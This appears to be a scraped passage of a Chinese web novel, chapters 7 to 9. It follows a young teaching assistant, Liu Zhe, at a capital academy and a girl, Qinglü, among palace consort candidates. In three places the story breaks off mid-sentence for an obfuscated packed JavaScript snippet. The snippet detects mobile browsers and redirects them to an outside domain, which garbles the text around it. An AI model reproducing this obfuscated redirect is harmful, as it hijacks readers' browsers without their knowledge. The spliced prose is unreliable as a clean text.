“还有。”百里冰摩挲着下巴,斟词酌句道:“家里的两名妇人,与人相处的方式……有些特别。” 俊逸公子毫不迟疑地迎着百里冰的目光郑重道:“弟子尽力而为。” 是日,俊逸公子成为百里先生的助教。 这名少年助教姓刘,名哲,与天子同姓。 7. 第七章 助教 刘哲最初的想法是入读太学。 太学既是朝廷的最高学府,亦是考试机关,除负责太学生的教学与考试外,也允许非太学生参加两年一次的选拨式考试,即太学课试。是以士子若想走仕途,最快最稳的途径莫过于入读太学,两年后参加课试。 课试分甲乙两等,称科。甲科出身为郎,乙科出身为吏。郎必须入宫当侍卫服务几年,称为“补郎”,遇衙门出缺,可外放当官;吏则回到原籍,本地郡县衙门负责任用,称为“补吏”。亦即考得好可为官,考得一般可为吏,考得不好可缓学下次再考。 官、吏身份除秩禄高低外,本质并无太大区别。补吏也有机会进入朝廷命官行列,其仕进途径为一年一度的举孝廉,地方长官根据其政绩察选推荐到朝廷,再经有司考察便能正式入仕。 亦因此,朝廷官员半为太学甲科出身,半为地方孝廉,而孝廉又大多是太学乙科补吏,造成朝堂官吏几乎全经太学而出,朝廷实际上成了崇尚文治的士人庙堂。 刘哲想谋一份天子身边的差事,从而进入皇宫,入读太学是最好的选择。 但入读太学并非易事,办法只有两种,或由太学最高长官太常选送,或由地方郡国选送,这些属正规在册的太学生,亦有少数旁听生,但由于名额有限,只有师出有名的权贵子弟方有资格,家里不开矿压根都不敢想。 刘哲只能退而求其次,入读私办的学宫,然后参加太学课试。 学宫学费高昂,山尚学宫又是京师最好的能与太学一争高下的学宫,所收取的学费堪称学业界天花板,他便想在学宫某个差事或给某位先生做助教,能听课还能领取微博俸禄,却谈何容易,想在学宫打工或当助教的弟子排队能绕礼尚山三圈。 刘哲在学宫内徘徊了两日,发现传授律法的百里冰先生门前很是冷清,他明白大抵是因为律法繁杂难记,除出身于律学世家外,其余人不感兴趣的缘故。 第三日刘哲来得早,在百里冰弟子们身后潜水,听见两名弟子在窃窃私语师傅的助教小温子又被开了,师傅换助教的速度比翻书还快,言语之间都在替师傅叹息,说小鬼怎么做也难让母夜叉满意,也就师傅能忍受师母。 刘哲打定主意去谋这个助教职位。他听了几日百里冰的律法课,明白若想脱颖而出,必得有与众不同的观点,于是在百里冰提问时逮住机会秀了一把,成功引起了他的注意,遂达成所愿。 他随百里冰回到位于学宫南面免费提供给先生的师斋。 这是一排简陋小院,各户之间有院墙分隔。名家大儒们均在城里买房,这里住的也就三十来户人家,百里冰住在西头第一家。 百里冰在前,刘哲跟着前脚才踏入院门,便听见一声河东狮吼:“滚去找你爹,这个时辰还不回来治膳,想饿死老娘么?” 一个结实的小球球麻溜而又圆润地朝他滚来,刘哲忙伸脚挡住。 小球球一个弹跳站了起来,这是一名四五岁的小姑娘,圆脸上细长的双眸,小小的花瓣嘴紧抿着,身上披挂着几件红绿色衣裳。 刘哲想:这是师傅家的……妇人之一? 小姑娘若无其事地打量了刘哲一眼,问:“助教?” 刘哲点点头。 “膳房在东头,你住西头。”她指着前面并列的四间平房老练地吩咐道。 刘哲想都不想径直进了膳房。 小姑娘咬着手指头对着他背影道,“我叫朵朵,找不着物件问我。” 不到半个时辰,刘哲便在院内支起了一张小方桌,摆上了一筐玉米面烙饼,一盘葱花蛋汤,一碟洗好的大葱及切好的生黄瓜片,这是他在膳房里能找到的全部食材。 他来到正房门外清晰地唤道:“师父,师娘,请用膳。” 便看见一名身姿曼妙的妇人,右手持一把精致团扇遮脸与百里冰一同走了出来。 刘哲朝妇人行大礼:“师娘好。” 便听妇人哼了一声,手突然向下一移,团扇轻轻抵着自己的下巴,露出了一张线条玲珑的小圆脸,但见眉眼秀美,黛眉红唇,然而,整张脸却是一言难尽,一块从额角到唇边的紫红色瘢痕几乎占满了妇人的左半边脸。 刘哲一惊,心道:这是师傅家的……妇人之二?脸上却极力保持着平静。 或许妇人没有看见预料的惊慌失措,嘴角挂着冷笑,了无兴致地在朵朵对面坐下。片刻,脸色突然转霁,问刘哲:“小刘子么?” 刘哲躬身道:“弟子刘哲拜见师娘。”。 百里冰小心道:“你师娘姓花。” 花师娘面无表情地伸手拿起一个烙饼,卷着大葱狼吞虎咽起来。 百里冰示意刘哲:“坐下吃吧。” 刘哲将卷好的烙饼递给朵朵。 朵朵接过来狠狠咬了一大口,又接过刘哲递过来的蛋花汤喝了一口,一脸天真地下着结论:“你叫啥?这么好看的助教哥哥,做这么好吃的膳食,不该叫小刘子,叫小刘便很好。” 花师娘含着一口烙饼,斜睨了一眼刘哲:“那些个走马灯似更换的小助教,甫一见老娘无不惊掉下巴,你难道‘色’盲?对女子无感?” 刘哲无话可说,低头喝汤。 花师娘见他无甚反应,继续喋喋不休:“你嘴里不说,心里必定在暗笑:没见过长得如此丑陋的女人。” 刘哲眼波微凉看了她一眼,随后又恢复了清冷,摇摇头算作回应。但他确实是在暗笑,那是因为他想起今日师傅在堂上所说的那句“不入言而腹诽”。 花师娘突然将竹箸朝桌上一拍,对刘哲恶狠狠道:“你是觉着老娘不配你多瞧一眼?” 刘哲放下碗箸,看着花师娘,平静道:“师娘是想让刘哲承认如师娘所说么?然刘哲并没有如此想过,只是感恩师傅、师娘给我一个立足之地。”声音清澈而坚定,如他的目光,不含一丝杂质。 朵朵抬头,担忧地看看娘又看看刘哲,晚膳在有风无语中结束。 翌日,刘哲特意起了个大早,师傅在致远堂授课,他得去打扫场地准备茶水。 沿着青石板砌成的台阶缓缓拾级而上,他步履轻快,连日来的焦虑一扫而尽,能在山尚学宫落脚,离入读太学的目标便不远了。到了高处,忍不住停下脚步,展眼四顾。 山尚学宫坐西朝东,依山势而建,由中轴对称、纵深多进的院落组成,主轴线前延至灞水西岸,后延至礼尚山巅,大门、二门、讲堂、藏书楼等主建筑集中于中轴线上,按地势高低层层排布,其余如斋舍、仓廪、亭榭等分列两旁。 院内遍种花草树木,搭建凉亭观台,引山泉入沟渠池塘,一派亭台相济、楼阁相望、山水相融的壮丽景观。 致远堂内,情绪极佳的刘哲才在后排落座。 不料百里冰一进门,便对堂下屁股还没坐稳的弟子开口道:“今日孙大师在敏学大讲堂会讲,弟子皆可听讲。” 弟子们相互对视一眼,呼啦啦瞬间便跑没了影。 孙大师即兵家泰斗孙穰苴,学宫右祭酒,轻易不对外授课。 别看入读学宫的学子一个个外表斯文,满口之乎者也,骨子里却是暴躁弟子,崇尚文能提笔写下安国策,武可一言不合砍外敌,对孙大师极为崇尚。 百里冰脸上现出一丝苦涩,对硕果仅存的刘哲自嘲道:“为师也去听讲,你自便。” 学宫讲堂处于中心位置,有十间大讲堂,数间小讲堂。 最大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457161|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最核心的是敏学大讲堂,檐前悬“求真务实”匾,左右柱刻对联“非学无以广志,非志无以成学”,堂中高悬一块鎏金刻“学海为舟”木匾,后壁上嵌着十数方前辈碑刻。 能在敏学大讲堂会讲的,除了山尚先生外,便是游学四方极富盛名的学界泰斗,皇帝偶来此处圣训。 刘哲站在不易引人注意的角落,此刻,堂内乌压压一片人头,少说也有上千人。 一名中年男子碘着发福的肚子站在讲堂上扯着嗓子喊:“肃静,肃静。今日听课仅限于正式弟子,其余人等一律退堂。” 此人为学宫管事仇一段,学宫一切庶务归他管。 山尚学宫的弟子来自天南地北,不分地域,不论身份,无关贫富,只要通过两年一度的考核及奉上束脩,便可在名册上添上大名入读,仇管事所说正式弟子指的便是此类弟子,至于非正式弟子,则是五花八门的旁听、试读、交流弟子及助教、杂役等。 刘哲默默走出讲堂,但他并不想错过大师授课,便绕讲堂一圈寻找旁听的落脚点,无奈所有窗户外均是人头攒动,已然无法插足,只得继续绕圈,终于被他发现对着讲台的外墙上方有一个通气口,正好一棵苦楝树伸出的枝杈对着那个三尺见方的口子。 他看看左右无人,嗖地一下跃到树上。孙大师已然开讲,正听到精彩之处,猛不丁被一声清脆女声打断:“喂,你坐在上面偷听不累么?” 刘哲朝树下看去,一位十七八岁的红衣姑娘在歪头看着自己,斜插在她鬓角的一只玲珑翡翠金步摇轻轻晃动,衬得她分外活泼灵动。他的目光落在少女身佩的长剑上,只看精致剑鞘便知是名剑。 刘哲收回目光,敛了敛神,正色道:“读书人窃听不算偷。” 红衣姑娘扑哧一笑:“你下来,我带你进堂内听讲。”想了想,补充,“方才恍然瞥见树干上垂挂着一袭白衣衬着乌黑的长发,在微风中起伏飘荡,觉着怎的青天白日也能撞着吊死鬼?没的吓着旁人。” 刘哲挽了一把乌黑长发,脸带歉意推辞道:“多谢姑娘好意,我无资格在堂内听讲,此处便很好。”言罢,抬头看向屋内,竟将她冷落在原地。 红衣姑娘摇头离去。 申时,朵朵准时在书房外等候刘哲,早上她便很大气地对刘哲说来接他回家治膳,因为喜欢他做的膳食。 刘哲有些好笑,师傅家的两名妇人,虽说师娘刻薄些,但朵朵很乖巧,全然不用大人照料。 二人回到百里家,刘哲意外看见花师娘一脸阴冷地坐在院子里,虽脸上抹了浓妆,张牙舞爪的紫色斑痕仍透过厚厚的惨白脂粉若隐若现,更如鬼魅。 刘哲唤了一声:“师娘。”却撇见隔壁矮墙上探出一张少女细腻白嫩的脸,柔柔怯怯地盯着他看了一会,刘哲目不斜视地赶紧走向膳房。 背后传来花师娘杀人不见血的话刀子:“瞧啥瞧?一家子惯会爬墙头,没见过老娘这样的美人么?”顿了顿,“哼,吴娇你也不咋地,一家子忙活备选了好几年,正经连个秀女都没选上,否则这时候该入宫接受教习了,可惜了。” 秀女教习室设在鸣鸾殿,乃前院后室布局,前面是极大的院子,后面顺着地势高低,错落有致地排列着数间平房,每间能容纳三四十人,门楣上挂着的牌匾写着经史室、文学室、礼乐室、舞室、画室、簿籍室,等等。 今日青绿入宫正式开始受训,大哥说这一批秀女是皇子们的备选,大多身份高贵,有太傅高远木之嫡孙女、大鸿胪卢展超之嫡长女、琅琊郡都尉姹喇之次女等等,一遍遍嘱咐她多学少说,千万别惹麻烦。 青绿一一答应。 孰料青绿才踏进院门,便见满院的姹紫嫣红乱成了一锅杂粮粥。 8. 第八章 秀女 一名高挑丰满的秀女手上举着一把团扇,啧啧道:“看看,看看,这绣的是乌龟?还是王八?” 围观的秀女发出一阵哄笑。 一名脸上婴儿肥还没退完的秀女伸手去抢,却怎么都够不着,她急得涨红了脸道:“还我团扇,不然我告诉齐姑姑了。” 高挑丰满秀女一副猫玩老鼠的神态,戏谑道:“你是聋了还是瞎了?方才齐姑姑出门之时,吩咐我照管你们。不过,你告我又如何?你爹告了我爹三年,告倒了么?我还真告诉你,我爹能在公堂上赏你爹一巴掌,我也能在此教你一些规矩。” 婴儿肥秀女两眼噙泪,抿嘴去掰她手腕,意图夺回自己的团扇。 青绿凑到一名独自安静地站在外围看热闹的秀女身边问:“姐姐,这是唱的哪一出?” 秀女扭头,青绿看见一双眼梢微微上翘的狐狸眼,乌黑的长眉使得整张脸显出几分英气。 她打量了青绿一眼,反问:“新来的?” 青绿点头:“嗯。” 她看着青绿纯净如水的双眸,去了几分戒心,努了努嘴道:“看见桌上摆着的龟背竹没有?今日学描图绣花。”轻声介绍争吵的二人,“夺人团扇者是徐州琅邪郡都尉之女,名姹紫,被夺扇的是琅邪县县令之女,名汤圆。” 青绿默然:县令之女,难怪。因饶有兴趣地问:“姐姐,你呢?” 她并不掩饰,淡淡道:“我复姓钟离,单名梨,双亲已故。”顿了顿,向青绿投去探寻的目光,意思很明显。 青绿低头道:“我姓凡,唤我青绿即可。与姐姐一样,爹娘已逝。” 或许是同病相怜,钟离梨脸上的戒备化为关切,主动向她介绍事情的起因:“方才椒房殿大长秋令来唤齐姑姑,刘姑姑走得急,便让姹紫照管一二,姹紫在秀女中年龄最大,又是个爱管事的。” 才说至此处,便听见汤圆发出带着哭腔的惊呼:“姐姐,求你别剪。” 青绿与钟离梨同时抬头,便见姹紫拿着剪刀在绞团扇,嘴里冷笑道:“姑姑说了,凡绣得不好的都要毁掉重做。” 汤圆伸手去夺,不料中指碰上了剪刀,拇指指尖一下冒出了鲜血。 一名明显是姹紫同伙的头插金钗的秀女装腔作势地警告:“一会可别在姑姑面前告黑状哦,我们都看见是你自己碰上刀尖的。” 汤圆嘴里含着食指,颓然坐在凳子上,低头不再说话。 青绿有些感慨,都说后宫连着前朝,前朝势力有多大,后宫的地位便有多高,但即便父辈势大也不能仗势明着欺负人吧。不由皱了皱眉,但一想到大哥的嘱咐,便按捺下拨刀相助的冲动。 却见钟离梨几步向前夺下姹紫手上的剪刀,大声道:“她绣得好与不好,自然有姑姑评判,还轮不着你拿了鸡毛当令箭,你再欺负汤圆,我告诉齐姑姑去。” 姹紫撇了她一眼,冷笑道:“我当是谁,原来是京兆府议曹掾的妹子,这里没你说话的份,真是狗拿耗子。”顿了顿,“哼,议曹靠嘴皮子吃饭,也不是什么好鸟。” 钟离梨狐狸眼闪着怒火:“骂我可以,不许说我哥。” 姹紫轻蔑道:“兄妹都一个德性,不过是搬弄唇舌的小人罢了。说了又如何?有本事你打我呀。” 钟离梨扬起右手“啪”地一下,出其不意给了她脸上一巴掌:“这可是你求我的。”姹紫惊得捂住自己的脸:“你竟敢打我?”伸手便去扯她的头发。 两人撕扯着翻滚在地上。 秀女们皆是豆蔻年华,不乏娇生惯养颐指气使之辈,一时唯恐天下不乱,分成两派跟着起哄,室内顿时乱如圩场,几个胆小怕事的退到远处旁观。 汤圆一见事情闹大,急得拦在姹紫和钟离梨之间,哭着对姹紫道:“姐姐,都是我的错,团扇我不要了,求求你们别打了。” 姹紫和钟离梨悻悻然住手,劝架的秀女趁机将二人分开。 姹紫也怕事情闹大不好收场,便就坡下驴对汤圆道:“你跪下向我叩三个头,说‘好姐姐我错了’,我便饶了你。”将团扇扔到地上。 汤圆咬咬牙,双膝一弯跪在姹紫面前便要叩头。 青绿忍无可忍,伸手一把抓住她的领子扯了起来,便看见她一张惊恐的不知所措的脸。 青绿冷冷地对她道:“跪天跪地跪父母,跪她做甚?” 姹紫也是一愣,抬眼傲慢地上下打量了青绿好一会,见她一身衣裳面料及做工均是上乘,然长相却差强人意,黑黑瘦瘦的毫无动人之处,怎么看都不像出身权贵之家,因不屑道:“呵呵,又来个咸吃萝卜的。你爹是县令还是都尉?看来这里的贱人已自成一窝,都敢管本姑娘的事了。” 金钗秀女讥讽道:“龙生龙,凤生凤,老鼠生仔打地洞。蛇鼠一窝抱团取暖呢。” 青绿冷笑:“你管我是蛇是鼠,路遇不平,踩上几脚,本姑娘乐意。” 姹紫气得脸色泛红,她这段时日还未被人如此轻视过,将前胸几乎挺到了青绿的鼻尖:“贱人,你知道我是谁么?我劝你先回去问问你爹,再来这里丢人现眼。” 青绿皮笑肉不笑道:“我倒想问问你爹是谁。” 姹紫睨她一眼,鼻孔里“哼”了一声道:“不说也罢,我怕说出来吓死你。” 金钗秀女大声帮腔:“我只说如今苣若殿的一宫之主,容华姹嫣红,便是姹紫的胞姐,你怕不怕?” 当朝嫔妃等级分为十级,皇后为特级不计在内,一级婕妤、二级经娥、三级容华……到十级少使,皆与朝廷官员一样有相应俸禄。少使之下,便只能算是一般宫人,最低等的称为家人子。 后宫目前有一名婕妤、两名经娥、三名容华,容华的身份不可谓不贵重。 青绿一听,身子夸张地颤抖了下,两眼朝上一翻,说了句:“我的天,好怕怕哦。”便一屁股坐在地上。 一众秀女轰然大笑,姹紫鄙夷道:“你以为装死便不用说出你亲爹是谁么?你不说我也能查得到。” 钟离梨去扶青绿,青绿推开她,赖在地上,以手抚胸缓了好一会,弱弱道:“也没甚不敢说的,本姑娘行不更名,坐不改姓,姓凡名青绿,凡羲是我亲爹。” 她的声音不大,却如炸雷在众秀女耳边炸响,场内顿时鸦雀无声。 但凡仗势欺人的哪个心里没有一张权势图?乖乖,谁招惹得起凡家? 曾有官二代在凡羲丞相去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457162|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世后,以为有机会替被凡丞相处罚过的亲爹翻案,孰料上朝时诉求才念到一半,皇帝便不耐烦地下旨:“罚银万两,再有下次,没收全部家产。” 如今虽说凡丞相已故,但凡家满门俊彦皆是潜龙在渊,活腻味了才去招惹凡家。 众秀女转而又来了兴致:青绿是补选的秀女么?果真如此,她的位份必定远在姹紫之上,强龙与地头蛇相斗,看来这下半场戏比上半场还要精彩。便连在外围远远站着的几名秀女也围拢过来,满脸兴奋。 饶是姹紫脑子转得快,虽懊恼自己树了个强敌,却又为自己打气:不怕,瞧这丫头乌漆墨黑的小脸蛋,这一马平川的小身板,只有被打入冷宫的份,何况自己的亲姐姐还是一宫之主。马上换了一张笑脸,对青绿屈膝福了一福道:“怨姐姐眼拙,没看见妹妹在此。” 又笑道:“妹妹是新来的秀女吧,如此甚好,我们还真是姐妹呢。” 青绿一脸的不屑:“不是秀女便不能来教习室么?皇后娘娘令我来向各位姐姐学规矩,未曾想这里却是如此的没有规矩。” 姹紫心里一块石头落到地上,不是竞争对手就好。但一听是皇后所派,心一下又提上了嗓子眼。 但凡后宫人等,无不畏惧皇后,此事若传出去,到底是她挑起的事端,便有些不寒而栗,因又陪着小心道:“此事原是姐姐的错,求妹妹不要禀告皇后才好。” 青绿有心捉弄她,一脸坏笑地怼脸问道:“不禀告皇后也行,得看汤圆是否答应,你跪下向她叩三个头?看她可愿意原谅你?” 众秀女窃窃私语:“京师皆传凡二姑娘惯会作妖,果不其然,叫姹紫给汤圆叩头,岂不是让鹰给雀认错?” 料不到姹紫却是个能屈能伸的,她轻移莲步到汤圆面前行了一个福礼,满脸诚恳道:“今日原是我的不是,求汤圆妹妹原谅。”作势便要下跪。 吓得汤圆脸色煞白,伸手死死架住姹紫哆嗦着道:“姹紫姐姐,别这样,我受不起。” 青绿受不了这些虚假客套,站起来拍了拍屁股上的灰尘道:“好了,本姑娘也乏了,今日之事也不必禀告齐姑姑,免得她老人家还得费劲巴拉地处置。” 斜撇着几名几个离得稍远的秀女,加重语气道:““别以为没有参与,便可到外头乱嚼舌头,更存着那等事不关己能趁机上位的心思,话撂这了,不劝架便是失责,都是一条船上的蚂蚱,风浪来了,各顾各的,都不得好死。” 众秀女连连点头,不知为何,她们对这名黑黑瘦瘦长相毫不起眼的小姑娘有些忌惮,是她的出身?又或是她身后的皇后?或许两者都有吧。 汤圆嗫嚅着更正:“是一条绳上的蚂蚱。” 青绿一翻白眼:“我自然知道是一条绳不是一条船,但这么多姐姐,没有一条船如何装得下?这会子你倒有胆子来驳我了。” 吓得汤圆用手捂住自己的嘴巴,退到钟离梨身后。 青绿看看遍地狼藉,对众秀女道:“麻溜的,收拾战场,不能让齐姑姑看出丝毫端倪,还要比她在时更好,不然显得一群大家闺秀忒没教养。” 心道:学个屁的规矩,看看怎么溜出去找寻当年的蛛丝马迹才是正经。 9. 第九章 教导 离秀女们不远,土堆垒起的一座小山坡上,凉亭内坐着两名中年妇人,透过一架上面开满了紫色牵牛花的竹篱笆缝隙,将秀女们的表演尽收眼底。 脸上挂着些戾气的瘦长脸妇人朝对面的方脸妇人道:“齐姑姑,瞧瞧,你才离了小半个时辰,她们便反了天了。” 齐姑姑轻轻捏碎手上薄如纸片的核桃壳,视线不动声色地落在青绿身上,语调平和道:“都是些半大孩子,天性使然,不给她们表现的平台,又怎能知道各人的秉性。” 她脸上长着几颗浅浅的麻子,单眼皮薄嘴唇,整张脸给人清汤寡水的感觉。 “我瞧着这个凡青绿忒没规矩,竟教秀女们瞒你,得拿她杀鸡敬猴,不然都不知道宫内还有规矩一说。” 齐姑姑收回视线,淡淡地看了瘦长脸妇人一眼,将核桃仁放在掌心搓揉片刻,用嘴轻轻一吹,露出雪白的核桃肉。 她捻了一颗放进嘴里,微微一笑:“三岁看大,七岁看老,秉性是忠厚纯良又或是阴险歹毒,皆能在危险面前暴露无遗。”起身拍了拍手,“我也乏了,走吧,这儿出不了大事。 青绿被封禁在秀女教习室开始了严苛的教习生涯,时日不长,便与钟离梨、汤圆处得甚好。 钟离梨身上有股子侠气,她认准的事总是义无反顾地尽力而为,青绿与她最为投缘。汤圆年纪虽小却十分懂事,自知亲爹一个小小县令与这些没有最豪只有更豪的豪门千金的爹相比简直可以忽略不计,便事事处处谨小慎微,埋头学些平凡技能,做好手边的繁杂小事。 此日,课间休憩,三人坐在院内老槐树下的石凳上。 青绿扭动着僵硬的脖子,哀怨地问钟离梨:“姐姐,你说练头上顶碗有何用?还要练到走路掉不下来,哼哼,将碗倒扣过来试试?跑步都不带掉的,难道倒扣碗生不出儿子么?还有啊,学绣花做甚?好做绣花枕头?” 她是天马行空野惯了的,如今要学这些大家闺秀举止,直教她生不如死。 她嘴上埋怨着,心里却在怀疑自己进宫当秀女的决定是否正确,如此每日被监管着,别说查被套麻袋真相,便连说话做事都得小心,得想办法离开这里,免得白白耗费功夫。 因忿忿地想:太后老妖婆说好的宣我去解闷是逗我玩呢,进宫也有好一段时日了,也没见着啥懿旨,看来打着她的旗号自由行动只能成为奢望了。 钟离梨张嘴才要答话,便听见一个平和的声音道:“姑娘此言差矣,坐卧行止,皆有礼法,一言一笑,全有规矩。” 三人回头一看是齐姑姑,忙起身行礼,口称:“见过齐姑姑。” 汤圆乖巧,掏出丝帕垫在石凳上。 青绿起身扶齐姑姑坐下,带着明显讨好的语气道:“姑姑所言极是,青绿知错了。” 齐姑姑接过钟离梨递过来的茶盏抿了一口,抬眼问青绿:“错在何处?” 青绿原是客套话,料不到被诘问,一时尴尬得脚趾头在绣鞋里抠出了一座鸣鸾殿,低头嗫嚅道:“错在胡说八道。” 忍不住腹诽:看破不说破方是为人之道。 齐姑姑将茶盏搁在石桌上,从袖子里掏出绢子抿了抿唇角,不慌不忙地对青绿道:“坐下吧,姑娘初来乍到,有疑问也在情理之中,我便给你说道说道。” 得,开始享受独食待遇,青绿无奈,脸上却极为诚恳:“请姑姑赐教。” 到底是王牌教官,齐姑姑不急不徐地将规矩说得明明白白:“未央宫内,正经的主子只有三位,太后,皇帝,皇后,其余嫔妃只能称作主儿,这是绝对不能错的嫡庶尊卑规矩。前朝连着后宫,皇帝管前朝,皇后理后宫,嫔妃的身家性命与家世地位紧密相连,感情、美貌可锦上添花,却不能解决根本问题。” 顿了顿,用绢子轻轻吸去额角浸出的一丝汗渍。 青绿抢过汤圆手中的团扇侧着身子用力给她打扇:“姑姑您继续。” 齐姑姑挑了挑眉:“后宫嫔妃以子为贵,如无子嗣,下半辈子将无所依靠。但为保皇家血统,低等级宫人不被允许生子,便有侥幸生出来的孩子也不受待见。” 青绿小声道:“我还以为皇帝子嗣越多越好呢。” 齐姑姑睨她一眼:“皇后母仪天下,统领的后宫参照前朝实行秩级制。后妃与宫人各为体系,嫔妃分为十个秩级,宫人则是宫官制,有相应的职务和职责。” 青绿甚是意外:“后宫的主儿能挣到与前朝官员相同的银子?躺赢啊。” 钟离梨将手里的茶猛地倾倒在她嘴里,呛得她翻了好一会白眼。 齐姑姑悠然看着青绿:“故你问秀女为何要学技艺?一来,想在万花丛中一枝独秀,出众相貌自是不必说,但徒有其表也成不了气候,须在诗词歌赋、琴棋书画乃至经史子集上学有所长。想必姑娘也清楚,腹有诗书气自华。” 她虚压一下青绿打扇的手腕:“这二来么,宫人掌宫掖之政,秩级清晰,职责分明,能力高低直接影响职位大小,如掌账目审核的司记当具书算才能、掌乐人表演的司乐当通韵律,凡此等等,不一而足。若以上皆不具备,便只能委屈去做杂役了。” 青绿悄悄吐了吐舌头,放慢了摇扇的速度。 齐姑姑抿了一小口茶,润了润嗓子,见三人神情专注,遂放缓了语气道:“如相貌才学并绝,亦有在各皇子宫殿先做女官后做妃子的。常伴六皇子刘睿左右的萧文渊,甫一选秀入宫,便以文采风流封为东宫舍人。” 各皇子宫均设舍人一职,负责辅佐皇子和管理宫廷事务。 青绿心内一动,齐姑姑所说的东宫舍人不会是凤凰姐姐吧。 汤圆满眼崇拜:“我读过在闺阁中广为流传的《膳房妙趣录》,为文渊舍人及笄之年所写,不但教人如何烹饪,还有许多神来之笔,如 ‘人为生而食,非为食而生’等句。据说得益于其醉心膳食之道和养生之方的亲娘教导。” 齐姑姑点头道:“便连皇后看到其中‘欲得郎心,必先获郎胃’句,亦击掌称赞与‘治大国如烹小鲜’有异曲同工之妙。”语气不无赞赏,“文渊舍人是宫人的标杆。” 三人齐刷刷点头:“向标杆看齐。” 齐姑姑目光停在青绿脸上,问:“我说的,可听明白了?”见她虽点头如捣蒜,脸上表情却有些游离,便加重了语气,“姑娘虽非秀女,然,既来之则安之,尽己之力而学有所长,技不压身,没准哪天就用上了。机遇,只给有准备的人。” 不待青绿回答,转而对钟离梨道:“这段时日,你不必跟着听讲,在后院清静处给青绿姑娘补上行走坐卧的礼仪,我瞧着忒不像样。” 青绿汗颜了一把,点头如捣蒜:“青绿一定潜心学习。” 钟离梨躬身答道:“谨遵姑姑所嘱。” 青绿目送齐姑姑走远,很八卦地问钟离梨:“姐姐,标杆的母体是哪棵大树?” 汤圆不明所以地看着她:“姐姐你在说什么?” 钟离梨楞了一瞬,掩嘴咭咭笑了起来,遂正色道:“骠骑将军怀安侯萧筝,为萧文渊祖父;太后萧锦瑟,为萧文渊姑婆,萧家世袭罔替。萧文渊在萧家孙辈中最得祖父器重,自幼便由祖父亲自延名师教习,写得一手锦绣文章。” 青绿跌脚低叹:“原来凤凰姐姐是货真价实的凤凰啊。” 乖乖,才进宫便得罪了她,往后能有安生日子?她心里十分懊恼,恨不得重走入宫路,却又忍不住八卦:“为何不直接封她为皇子妃,却要大费周章先封舍人?” 钟离梨神色如常,声音却压得极低:“她十五岁选秀入宫,皇太后欲立她为六皇子妃,宫内明眼人都清楚,六皇子将来立储的胜算很大。但不知皇后作何考虑,只说六皇子的婚事不急,待他成人礼后,正、侧妃一起册立,故萧文渊只挂了个舍人的名号。” 钟离梨鬼鬼祟祟四处张望了一下,汤圆起身收拾茶具,捎带帮着眼观六路。 钟离梨的声音低到只有青绿能听见:“文渊确有过人之处,凡陛下派给皇子的奏章,她都在六皇子批阅过后仔细查看,在关键处点醒,如此煞费苦心地拾遗补缺,东宫批阅的奏章深得陛下赞赏。”见青绿眼里带着询问之色,故弄玄虚,“别问我为何知道,我不会告诉你。” 青绿摆摆手,笑道:“梨子,我觉着你有做细作的潜质呢。” 不知不觉间,她与钟离梨的距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457163|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离在拉近,便连称呼也由钟离姐姐变成了梨子。 钟离梨朝她眨了眨秀媚的狐狸眼,算是认可,忍不住笑道:“何来的细作?何来的潜质?不过是姹紫与人显摆她知道得多,我在旁边偷听了一耳朵罢了。” 青绿若有所思道:“偷听不就是细作的潜质么?恐怕往后麻烦姐姐的地方不少。” 钟离梨狐狸眼静静地看着她,不置可否。 四月芳菲,正是花红柳绿时节。 鸣鸾殿一个小梢间内,青绿瘫坐在地上。她每日寅时便被钟离梨和汤圆押到此处开小灶,已练了一段时日,却仍是不上道,不过她不在乎,她着急的是,教习室被管事嬷嬷看得贼紧,一日几回点名,她一直没有机会开小差。 今日管事嬷嬷集中绣房,对绣女们的绣品进行最终评定,在她们出来之前应该有一段较长的时间,青绿决定采取行动。 此刻,她一边揉着腿肚子嘟囔着“睡得比狗晚起得比鸡早”,一边偷眼看向院内,秀女们已陆续进入了绣房,便麻利起身,悄声对钟离梨道:“梨子,我有要紧事出去一趟,如有人问起,你替我挡一挡。” 汤圆忙提醒青绿:“秀女不可擅自离开教习室。” 青绿亮了一下手上令牌:“无妨,我有这个。” 汤圆神色紧张,拽着她的衣袖道:“还得齐姑姑准了才能离开。” 钟离梨掰开汤圆的手,什么都不问,大包大揽道:“你去吧,这里有我,务必快去快回。” 青绿道:“若我一时赶不回来,你们便说我去了寿安宫。” 汤圆一脸担忧:“青绿姐姐你千万小心。” 青绿一出教习室便朝西疾行,先是顺着东西通透的大道走了一小段,随后拐进一条僻静小路。她一身宫人打扮,一路并未引起旁人注意。 